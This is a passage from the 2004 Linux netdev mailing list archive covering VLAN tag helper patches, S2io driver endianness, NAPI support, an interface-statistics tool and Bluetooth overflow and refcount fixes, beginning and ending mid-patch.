unsigned short veth_TCI; + + /* Construct the second two bytes. This field looks something + * like: + * usr_priority: 3 bits (high bits) + * CFI 1 bit + * VLAN ID 12 bits (low bits) + */ + veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; + veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); + skb = __vlan_hwaccel_put_tag(skb, veth_TCI); stats->tx_packets++; stats->tx_bytes += skb->len; skb->dev = VLAN_DEV_INFO(dev)->real_dev; - cookie = VLAN_TX_SKB_CB(skb); - cookie->magic = VLAN_TX_COOKIE_MAGIC; - cookie->vlan_tag = (VLAN_DEV_INFO(dev)->vlan_id | - vlan_dev_get_egress_qos_mask(dev, skb)); - dev_queue_xmit(skb); return 0; From willy@w.ods.org Thu Feb 5 10:22:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 10:22:24 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15IMCKO023325 for ; Thu, 5 Feb 2004 10:22:15 -0800 Date: Thu, 5 Feb 2004 19:21:46 +0100 From: Willy Tarreau To: David Stevens Cc: "David S. Miller" , netdev@oss.sgi.com, jgarzik@pobox.com, Alexandre.Cassen@wanadoo.fr Subject: Re: Deadlock problem with dev->refcnt somewhere in netlink/multicast... [PATCH] Message-ID: <20040205182146.GA12703@alpha.home.local> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-archive-position: 3025 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 315 Lines: 11 Hi David, On Mon, Feb 02, 2004 at 04:41:11PM -0700, David Stevens wrote: > Below is a patch for the reference count problem you ran into. I have just tested 2.4.25-rc1 (which includes your patch) right now, and I cannot reproduce the problem anymore. So to me, the problem is closed. Thanks for the fix ! Willy From romieu@fr.zoreil.com Thu Feb 5 10:40:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 10:40:32 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15IeKKO024120 for ; Thu, 5 Feb 2004 10:40:21 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i15IcEgf004706; Thu, 5 Feb 2004 19:38:14 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i15IcDa5004705; Thu, 5 Feb 2004 19:38:13 +0100 Date: Thu, 5 Feb 2004 19:38:13 +0100 From: Francois Romieu To: chas williams Cc: "Randy.Dunlap" , netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 Message-ID: <20040205193813.A4230@electric-eye.fr.zoreil.com> References: <200402051222.i15CMcRr029937@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200402051222.i15CMcRr029937@ginger.cmf.nrl.navy.mil>; from chas@cmf.nrl.navy.mil on Thu, Feb 05, 2004 at 07:22:40AM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 3026 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 495 Lines: 15 chas williams : [...] > how about the following instead? we probably shouldnt register the As long as the ugly-ifdef patrol does not bite, it's fine with me. :o) > proc entry until clip_tbl is going to be ready for use anyway (the > arp table iterators should probably also use clip_tbl instead of > clip_tbl_hook). It would not hurt. Do you have a specific race in mind before I send an update on top your patch for the clip_tbl_hook -> clip_tbl change ? -- Ueimor From chas@cmf.nrl.navy.mil Thu Feb 5 10:49:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 10:49:03 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15In0KO024636 for ; Thu, 5 Feb 2004 10:49:00 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i15ImrRr005748; Thu, 5 Feb 2004 13:48:53 -0500 (EST) Message-Id: <200402051848.i15ImrRr005748@ginger.cmf.nrl.navy.mil> To: Francois Romieu cc: netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 In-Reply-To: Message from Francois Romieu of "Thu, 05 Feb 2004 19:38:13 +0100." <20040205193813.A4230@electric-eye.fr.zoreil.com> Date: Thu, 05 Feb 2004 13:48:55 -0500 From: chas williams (contractor) X-Spam-Score: (*) hits=1.7 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3027 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 574 Lines: 13 In message <20040205193813.A4230@electric-eye.fr.zoreil.com>,Francois Romieu wr ites: >As long as the ugly-ifdef patrol does not bite, it's fine with me. :o) it would less ugly if people could accept a possibly unused stack variable for the !CONFIG_PROC_FS case. >It would not hurt. Do you have a specific race in mind before I send >an update on top your patch for the clip_tbl_hook -> clip_tbl change ? no particular race. just that the arp /proc entry should not be available until clip gets initialized. clip_tbl_hook should only be used by net/ipv4/arp.c really. From rask@sygehus.dk Thu Feb 5 11:45:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 11:45:17 -0800 (PST) Received: from 0x50a41c51.albnxx15.adsl-dhcp.tele.dk (0x50a41c51.albnxx15.adsl-dhcp.tele.dk [80.164.28.81]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15JjDKO026413 for ; Thu, 5 Feb 2004 11:45:14 -0800 Received: by 0x535857c9.albnxx15.adsl-dhcp.tele.dk (Postfix, from userid 500) id 06E7910B45; Thu, 5 Feb 2004 20:45:11 +0100 (CET) Date: Thu, 5 Feb 2004 20:45:11 +0100 From: Rask Ingemann Lambertsen To: Jeff Garzik Cc: linux-net@vger.kernel.org, Netdev Subject: Re: Seventh release of i82586 drivers: Novell NE3200, Microdyne EXOS 205T/215T and Intel EtherExpress 16 Message-ID: <20040205204511.C7335@sygehus.dk> References: <20031031155341.B1773@sygehus.dk> <3FA2854C.9080801@pobox.com> <20031031180525.A1984@sygehus.dk> <20031107192543.A1921@sygehus.dk> <4013175C.6090607@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4013175C.6090607@pobox.com>; from jgarzik@pobox.com on Sat, Jan 24, 2004 at 08:09:48PM -0500 X-archive-position: 3028 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev Content-Length: 651 Lines: 18 On Sat, Jan 24, 2004 at 08:09:48PM -0500, Jeff Garzik wrote: > Rask Ingemann Lambertsen wrote: > > I now have patches against linux 2.4.22-bk45. Due to the size I won't post > > them to the list. They can be downloaded instead: > > > > > > (bzip2 compressed, 41140 bytes) > > > > (uncompressed, 175346 bytes) > > I've been slow getting to these... any chance you could re-diff against > 2.4.25-pre7? Will do, but probably not until Monday. -- Regards, Rask Ingemann Lambertsen From jgarzik@pobox.com Thu Feb 5 12:09:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 12:09:56 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15K9qKO027380 for ; Thu, 5 Feb 2004 12:09:53 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37223 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Aopot-0002eS-Hl for netdev@oss.sgi.com; Thu, 05 Feb 2004 20:09:51 +0000 Message-ID: <4022A2F5.7050107@pobox.com> Date: Thu, 05 Feb 2004 15:09:25 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev Subject: New NAPI work applied... Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3029 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 128 Lines: 10 FYI to all (particularly Robert O and Hirofumi-san), 8139too and tulip NAPI support is now in upstream 2.6.x tree. Jeff From shmulik.hen@intel.com Thu Feb 5 13:14:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 13:14:46 -0800 (PST) Received: from petasus.ch.intel.com (petasus.ch.intel.com [143.182.124.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15LEbKO032052 for ; Thu, 5 Feb 2004 13:14:37 -0800 Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.ch.intel.com (8.12.9-20030918-01/8.12.9/d: small-solo.mc,v 1.9 2004/01/09 01:01:53 root Exp $) with SMTP id i15DxBmM017640; Thu, 5 Feb 2004 13:59:30 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020505592810807 ; Thu, 05 Feb 2004 05:59:29 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" Subject: [PATCH] [8021q] Export VLAN tag get/set functionality (resend) Date: Thu, 5 Feb 2004 15:59:22 +0200 User-Agent: KMail/1.5.3 Cc: , "Jeff Garzik" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402051559.27597.shmulik.hen@intel.com> X-archive-position: 3030 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 4495 Lines: 170 Enable intermediate network drivers like bonding to get or set a VLAN tag in an skb without a need to know about how tagging is done according to a network adapter's capabilities. Tested for patch application and compilation against linux-2.6.2. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/include/linux/if_vlan.h b/include/linux/if_vlan.h --- a/include/linux/if_vlan.h Wed Jan 21 16:56:09 2004 +++ b/include/linux/if_vlan.h Wed Jan 21 16:56:11 2004 @@ -200,6 +200,152 @@ static inline int vlan_hwaccel_receive_s { return __vlan_hwaccel_rx(skb, grp, vlan_tag, 1); } + +/** + * __vlan_put_tag - regular VLAN tag inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Inserts the VLAN tag into @skb as part of the payload + * Returns a VLAN tagged skb. If a new skb is created, @skb is freed. + * + * Following the skb_unshare() example, in case of error, the calling function + * doesn't have to worry about freeing the original skb. + */ +static inline struct sk_buff *__vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_ethhdr *veth; + + if (skb_headroom(skb) < VLAN_HLEN) { + struct sk_buff *sk_tmp = skb; + skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); + kfree_skb(sk_tmp); + if (!skb) { + printk(KERN_ERR "vlan: failed to realloc headroom\n"); + return NULL; + } + } else { + skb = skb_unshare(skb, GFP_ATOMIC); + if (!skb) { + printk(KERN_ERR "vlan: failed to unshare skbuff\n"); + return NULL; + } + } + + veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); + + /* Move the mac addresses to the beginning of the new header. */ + memmove(skb->data, skb->data + VLAN_HLEN, 2 * VLAN_ETH_ALEN); + + /* first, the ethernet type */ + veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); + + /* now, the tag */ + veth->h_vlan_TCI = htons(tag); + + skb->protocol = __constant_htons(ETH_P_8021Q); + skb->mac.raw -= VLAN_HLEN; + skb->nh.raw -= VLAN_HLEN; + + return skb; +} + +/** + * __vlan_hwaccel_put_tag - hardware accelerated VLAN inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Puts the VLAN tag in @skb->cb[] and lets the device do the rest + */ +static inline struct sk_buff *__vlan_hwaccel_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + cookie->magic = VLAN_TX_COOKIE_MAGIC; + cookie->vlan_tag = tag; + + return skb; +} + +#define HAVE_VLAN_PUT_TAG + +/** + * vlan_put_tag - inserts VLAN tag according to device features + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Assumes skb->dev is the target that will xmit this frame. + * Returns a VLAN tagged skb. + */ +static inline struct sk_buff *vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_put_tag(skb, tag); + } else { + return __vlan_put_tag(skb, tag); + } +} + +/** + * __vlan_get_tag - get the VLAN ID that is part of the payload + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not of VLAN type + */ +static inline int __vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_ethhdr *veth = (struct vlan_ethhdr *)skb->data; + + if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + return -EINVAL; + } + + *tag = ntohs(veth->h_vlan_TCI); + + return 0; +} + +/** + * __vlan_hwaccel_get_tag - get the VLAN ID that is in @skb->cb[] + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if @skb->cb[] is not set correctly + */ +static inline int __vlan_hwaccel_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + if (cookie->magic == VLAN_TX_COOKIE_MAGIC) { + *tag = cookie->vlan_tag; + return 0; + } else { + *tag = 0; + return -EINVAL; + } +} + +#define HAVE_VLAN_GET_TAG + +/** + * vlan_get_tag - get the VLAN ID from the skb + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not VLAN tagged + */ +static inline int vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_get_tag(skb, tag); + } else { + return __vlan_get_tag(skb, tag); + } +} + #endif /* __KERNEL__ */ /* VLAN IOCTLs are found in sockios.h */ From leonid.grossman@s2io.com Thu Feb 5 14:10:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 14:10:18 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15MAEKO001271 for ; Thu, 5 Feb 2004 14:10:14 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i15MA4jF019238; Thu, 5 Feb 2004 17:10:04 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i15M9uKK021740; Thu, 5 Feb 2004 17:09:57 -0500 (EST) From: "Leonid Grossman" To: "'Jeff Garzik'" Cc: "'Anton Blanchard'" , "'Andi Kleen'" , , , Subject: RE: FW: Submission for S2io 10GbE driver Date: Thu, 5 Feb 2004 14:09:09 -0800 Message-ID: <000001c3ec34$af53b8e0$5d50ff11@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <40220D15.60603@pobox.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3031 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Content-Length: 1779 Lines: 44 > {read,write}[bwlq] should work the same regardless of whether its big > endian or little endian. The rule is "PCI is defined to be little > endian". On little endian platforms, no byte swapping > occurs. On big endian platforms, the platform will byteswap. Thus, the > driver should not have big-endian-specific or PPC64-specific code... > (you still have to do your own byteswapping for DMA) > Jeff Hi Jeff, It looks like for the swapper issue we can get rid of PPC64-specific code, but not necessarily of big-endian-specific code. The behavior you describe is generic for Linux but not for the platform - on the same box, another OS will not byteswap, for example on the same pSeries box AIX will not byteswap while Linux will. So, our ASIC is designed in a way that for a big endian machine the swapper control need not be touched, and for little endian box both register and DMA accesses have to be configured to swap - it would be nice to have the same configuration working on all systems, but this did not seem possible. So, for Linux we configure the ASIC to byteswap register access for both big and little endian boxes. For DMA (as you pointed out) we need to configure the ASIC to do our own byteswap, so this init code (or rather just a config parameter) will be different on big and little endian machine. Another small difference will be that the ASIC has actually slightly different statistic counters for big and little endian. We can move these (very few) big/little definition into a header file so the source itself is clean, but I don't see a way to completely get rid of these... Also, looks like we can get rid of all PPC64-specific stuff. Thanks to everybody who pointed toward a solution (and/or promised to fix PPC :-)). Leonid From Robert.Olsson@data.slu.se Thu Feb 5 14:31:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 14:31:16 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15MVBKO002547 for ; Thu, 5 Feb 2004 14:31:12 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i15MVALq022687; Thu, 5 Feb 2004 23:31:10 +0100 Received: by robur.slu.se (Postfix, from userid 1000) id B8919EC061; Thu, 5 Feb 2004 23:31:10 +0100 (CET) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16418.50222.708197.388268@robur.slu.se> Date: Thu, 5 Feb 2004 23:31:10 +0100 To: Jeff Garzik Cc: Netdev Subject: New NAPI work applied... In-Reply-To: <4022A2F5.7050107@pobox.com> References: <4022A2F5.7050107@pobox.com> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 3032 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 1061 Lines: 35 Jeff Garzik writes: > > FYI to all (particularly Robert O and Hirofumi-san), > > 8139too and tulip NAPI support is now in upstream 2.6.x tree. > Thanks Jeff! The original tulip patch was done by Alexey and came w. the NAPI kernel patch. And the interrupt mitigation part was stolen and simplified from Jamal. :-) BTW. I'm hacking with a userland app to get interface stats. It's fork of a Alexey program too. ifstat. In my take it's ifstat2 and looks like: ifstat2 eth* RX -------------------------- TX ------------------------- eth0 704.9 M bit/s 59 k pps 3.2 M bit/s 5 k pps eth1 16 bit/s 0 pps 215.8 k bit/s 431 pps eth2 220.8 k bit/s 441 pps 0 bit/s 0 pps eth3 0 bit/s 0 pps 219.5 k bit/s 438 pps It's fits between ip -s link and ethtool -S ftp://robur.slu.se/pub/Linux/net-development/ifstat2/ A diet linked version for ix86: http://robur.slu.se/diet/bin-i386/ifstat2 Cheers. --ro From grundler@cup.hp.com Thu Feb 5 14:32:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 14:32:51 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15MWeKO002863 for ; Thu, 5 Feb 2004 14:32:46 -0800 Received: from hpuxmail.cup.hp.com (hpuxmail.cup.hp.com [15.13.189.207]) by palrel11.hp.com (Postfix) with ESMTP id AAF611C02214; Thu, 5 Feb 2004 14:32:39 -0800 (PST) Received: from debian.cup.hp.com (postfix@[15.244.57.47]) by hpuxmail.cup.hp.com (8.11.1/8.8.6) with ESMTP id i15MWZo10158; Thu, 5 Feb 2004 14:32:35 -0800 (PST) Received: by debian.cup.hp.com (Postfix, from userid 1001) id 0E15A2F807; Thu, 5 Feb 2004 14:34:14 -0800 (PST) Date: Thu, 5 Feb 2004 14:34:13 -0800 From: Grant Grundler To: Leonid Grossman Cc: "'Jeff Garzik'" , "'Anton Blanchard'" , "'Andi Kleen'" , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com Subject: Re: FW: Submission for S2io 10GbE driver Message-ID: <20040205223413.GB2508@cup.hp.com> References: <40220D15.60603@pobox.com> <000001c3ec34$af53b8e0$5d50ff11@S2IOtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000001c3ec34$af53b8e0$5d50ff11@S2IOtech.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3033 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: iod00d@hp.com Precedence: bulk X-list: netdev Content-Length: 1384 Lines: 34 On Thu, Feb 05, 2004 at 02:09:09PM -0800, Leonid Grossman wrote: > It looks like for the swapper issue we can get rid of PPC64-specific > code, but not necessarily of big-endian-specific code. right > The behavior you describe is generic for Linux but not for the platform > - on the same box, another OS will not byteswap, for example on the same > pSeries box AIX will not byteswap while Linux will. While I understand the desire to share the same driver across OSs, providing "glue" code like sym53c8xx_2 drivers does can be very ugly. You might look at that driver a bit and try to compare 2.4 vs 2.6. > So, our ASIC is designed in a way that for a big endian machine the > swapper control need not be touched, and for little endian box both > register and DMA accesses have to be configured to swap - it would be > nice to have the same configuration working on all systems, but this did > not seem possible. It's probably not. It sounds like the Tigon2 driver (acenic) which has similar HW support. You see how endianess is handled there. ... > Another small difference will be that the ASIC has actually slightly > different statistic counters for big and little endian. > We can move these (very few) big/little definition into a header file so > the source itself is clean, but I don't see a way to completely get rid > of these... that's ok I think. cheers, grant From jes@trained-monkey.org Thu Feb 5 15:25:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 15:25:40 -0800 (PST) Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15NPaKO005675 for ; Thu, 5 Feb 2004 15:25:37 -0800 Received: from jes by jaguar.mkp.net with local (Exim 3.35 #1) id 1Aosqd-0004NV-00; Thu, 05 Feb 2004 18:23:51 -0500 To: Grant Grundler Cc: Leonid Grossman , "'Jeff Garzik'" , "'Anton Blanchard'" , "'Andi Kleen'" , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com Subject: Re: FW: Submission for S2io 10GbE driver References: <40220D15.60603@pobox.com> <000001c3ec34$af53b8e0$5d50ff11@S2IOtech.com> <20040205223413.GB2508@cup.hp.com> From: Jes Sorensen Date: 05 Feb 2004 18:23:50 -0500 In-Reply-To: <20040205223413.GB2508@cup.hp.com> Message-ID: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3034 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: netdev Content-Length: 839 Lines: 24 >>>>> "Grant" == Grant Grundler writes: Grant> On Thu, Feb 05, 2004 at 02:09:09PM -0800, Leonid Grossman Grant> wrote: >> So, our ASIC is designed in a way that for a big endian machine the >> swapper control need not be touched, and for little endian box both >> register and DMA accesses have to be configured to swap - it would >> be nice to have the same configuration working on all systems, but >> this did not seem possible. Grant> It's probably not. It sounds like the Tigon2 driver (acenic) Grant> which has similar HW support. You see how endianess is handled Grant> there. Grant, I have a feeling Leonid is fairly familiar with the acenic design ;-) But yes it's very similar, I made the same mistake originally in the acenic driver trying to set different swap modes for little vs big endian. Cheers, Jes From ak@suse.de Thu Feb 5 20:00:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 20:00:55 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1640oKO017880 for ; Thu, 5 Feb 2004 20:00:51 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 7D6FB151769; Fri, 6 Feb 2004 05:00:44 +0100 (CET) Date: Fri, 6 Feb 2004 05:00:42 +0100 From: Andi Kleen To: marcel@holtmann.org, bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: some bluetooth fixes Message-Id: <20040206050042.20a2b3b0.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3035 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 5620 Lines: 208 While reading bluetooth code I noticed some bugs and potential overflows. Also I commented one ref-counting bug. Patch against 2.6.2. -Andi diff -u linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c-o linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c --- linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c-o 2003-09-28 10:53:25.000000000 +0200 +++ linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c 2004-02-06 04:58:28.000000000 +0100 @@ -349,7 +349,7 @@ struct rfcomm_dev_list_req *dl; struct rfcomm_dev_info *di; struct list_head *p; - int n = 0, size; + int n = 0, size, err; u16 dev_num; BT_DBG(""); @@ -362,8 +362,8 @@ size = sizeof(*dl) + dev_num * sizeof(*di); - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + if (size > (4*PAGE_SIZE)/sizeof(*di)) + return -EINVAL; if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; @@ -389,9 +389,9 @@ dl->dev_num = n; size = sizeof(*dl) + n * sizeof(*di); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size) ? -EFAULT : 0; kfree(dl); - return 0; + return err; } static int rfcomm_get_dev_info(unsigned long arg) @@ -549,8 +549,10 @@ BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst), dev->channel, dev->opened); - if (dev->opened++ != 0) + if (dev->opened++ != 0) { + rfcomm_dev_put(dev); return 0; + } dlc = dev->dlc; @@ -563,8 +565,10 @@ set_bit(RFCOMM_TTY_ATTACHED, &dev->flags); err = rfcomm_dlc_open(dlc, &dev->src, &dev->dst, dev->channel); - if (err < 0) + if (err < 0) { + rfcomm_dev_put(dev); return err; + } /* Wait for DLC to connect */ add_wait_queue(&dev->wait, &wait); diff -u linux-2.6.2-work32/net/bluetooth/cmtp/sock.c-o linux-2.6.2-work32/net/bluetooth/cmtp/sock.c --- linux-2.6.2-work32/net/bluetooth/cmtp/sock.c-o 2004-02-05 08:09:54.000000000 +0100 +++ linux-2.6.2-work32/net/bluetooth/cmtp/sock.c 2004-02-05 14:57:57.000000000 +0100 @@ -87,8 +87,10 @@ if (!nsock) return err; - if (nsock->sk->sk_state != BT_CONNECTED) + if (nsock->sk->sk_state != BT_CONNECTED) { + fput(nsock->file); return -EBADFD; + } err = cmtp_add_connection(&ca, nsock); if (!err) { diff -u linux-2.6.2-work32/net/bluetooth/hci_sock.c-o linux-2.6.2-work32/net/bluetooth/hci_sock.c --- linux-2.6.2-work32/net/bluetooth/hci_sock.c-o 2004-02-05 08:09:54.000000000 +0100 +++ linux-2.6.2-work32/net/bluetooth/hci_sock.c 2004-02-05 14:57:59.000000000 +0100 @@ -392,6 +392,8 @@ skb->pkt_type = *((unsigned char *) skb->data); skb_pull(skb, 1); + /* AK: looks broken. Who guarantees that hdev doesn't go away while + the skb is queued ? */ skb->dev = (void *) hdev; if (skb->pkt_type == HCI_COMMAND_PKT) { diff -u linux-2.6.2-work32/net/bluetooth/hci_conn.c-o linux-2.6.2-work32/net/bluetooth/hci_conn.c --- linux-2.6.2-work32/net/bluetooth/hci_conn.c-o 2004-02-05 08:09:54.000000000 +0100 +++ linux-2.6.2-work32/net/bluetooth/hci_conn.c 2004-02-05 15:06:10.000000000 +0100 @@ -353,21 +353,24 @@ struct hci_conn_info *ci; struct hci_dev 